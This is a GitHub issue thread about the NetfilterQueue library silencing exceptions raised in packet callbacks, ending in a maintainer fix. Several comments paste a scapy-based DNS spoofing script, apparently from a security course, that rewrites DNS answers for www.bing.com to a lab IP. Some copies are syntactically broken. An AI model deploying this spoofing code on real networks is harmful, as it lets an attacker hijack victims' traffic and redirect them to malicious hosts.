Skip to content

Exceptions are ignored #31

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
strictlymike opened this issue Apr 21, 2017 · 6 comments · Fixed by #77
Closed

Exceptions are ignored #31

strictlymike opened this issue Apr 21, 2017 · 6 comments · Fixed by #77

Comments

@strictlymike
Copy link

When an exception is raised in my callback, I simply see a message like this one:

Exception TypeError: "argument of type 'NoneType' is not iterable" in 'netfilterqueue.global_callback' ignored

This makes troubleshooting painful. Is there a safe way for you to allow the exception to terminate the script with the normal stack trace? Short of that, maybe a constructor argument or other mutator to give developers the ability to opt for more detailed exception information?

I'd like to be more helpful but at a glance I can't tell where these exceptions are being handled and silenced. If you can point me to it, I'll be happy to take a crack at a PR.

@Zat-DB
Copy link

Zat-DB commented Nov 24, 2018

`#usr/env/bin python
import netfilterqueue
import scapy.all as scapy

def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:
print (' [+] spoofing target')
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1

          del scapy_packet[scapy.IP].len
          del scapy_packet[scapy.IP].chksum
          del scapy_packet[scapy.UDP].len
          del scapy_packet[scapy.UDP].chksum

 packet.set_payload(str(scapy_packet))

packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()`

I was returned with the same error as posted in the query, i.e.
Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"

@Zat-DB
Copy link

Zat-DB commented Nov 26, 2018

`#usr/env/bin python
import netfilterqueue
import scapy.all as scapy

def process_packet(packet
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.DNSRR):
qname = scapy_packet[scapy.DNSQR].qname
if ‘www.bing.com’ in queue:
print (' [+] spoofing target')
answer = scapy.DNSRR(rrname=qname, rdata='10.0.2.16')
scapy_packet[scapy.DNS].an = answer
scapy_packet[scapy.DNS].ancount = 1

          del scapy_packet[scapy.IP].len
          del scapy_packet[scapy.IP].chksum
          del scapy_packet[scapy.UDP].len
          del scapy_packet[scapy.UDP].chksum

 packet.set_payload(str(scapy_packet))

packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()`

I was returned with the same error as posted in the query, i.e.
Exception TypeError: "argument of type 'netfilterqueue.NetfilterQueue' is not iterable in 'netfilterqueue.global_callback' ignored"

I made an error in the code, issue resolved.

@YuvrajSingh-16
Copy link

Hey, bro need your help!!!

I am facing sort of same situation, can you help me out with the error with the netfilterqueue library:--
"[+] Spoofing Target
Exception TypeError: "'module' object has no attribute 'getitem'" in 'netfilterqueue.global_callback' ignored"

@strictlymike
Copy link
Author

@YuvrajSingh-16, I think a workaround during development might be to put a blanket try/catch at the top level in your callback function and use the traceback module to print a stack trace that would help you find the error (or use pdb to drop into an interactive debugger).

@Prasath30
Copy link

Prasath30 commented Oct 27, 2020

hey guys i am facing the same error I think you guys are students from zsecurity.How did you solve the error??@Zat-DB @strictlymike @YuvrajSingh-16

@Bender-Is-Great
Copy link

Bender-Is-Great commented Jan 5, 2022

I am having the same problem. I am here scratching my head. My code looks good but I have the same error.
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'

Any help would be appreciated.
I have python 3.9.9 , python 2.7.18 and NetfilterQueue 0.8.1

#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        if "www.bing.com." in qname:
            print("[+] Spoofing target ")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.15")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet)) # this will replace the original
    packet.accept()
    #packet.drop()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

Terminal Output:
`┌──(root💀kali)-[~/PycharmProjects/Zsecurity]
└─# python3 dns_spoof.py 130 ⨯
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
Exception ignored in: 'netfilterqueue.global_callback'
Traceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 13, in process_packet
if "www.bing.com." in qname:
TypeError: a bytes-like object is required, not 'str'
^CTraceback (most recent call last):
File "/root/PycharmProjects/Zsecurity/dns_spoof.py", line 30, in
queue.run()
KeyboardInterrupt

oremanj added a commit that referenced this issue Jan 13, 2022
Propagate exceptions raised by the user's packet callback -- fixes #31, #50
Warn about exceptions raised by the packet callback during queue unbinding
Raise an error if a packet verdict is set after its parent queue is closed
set_payload() now affects the result of later get_payload() -- fixes #30
Handle signals received when run() is blocked in recv() -- fixes #65
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging a pull request may close this issue.

5 participants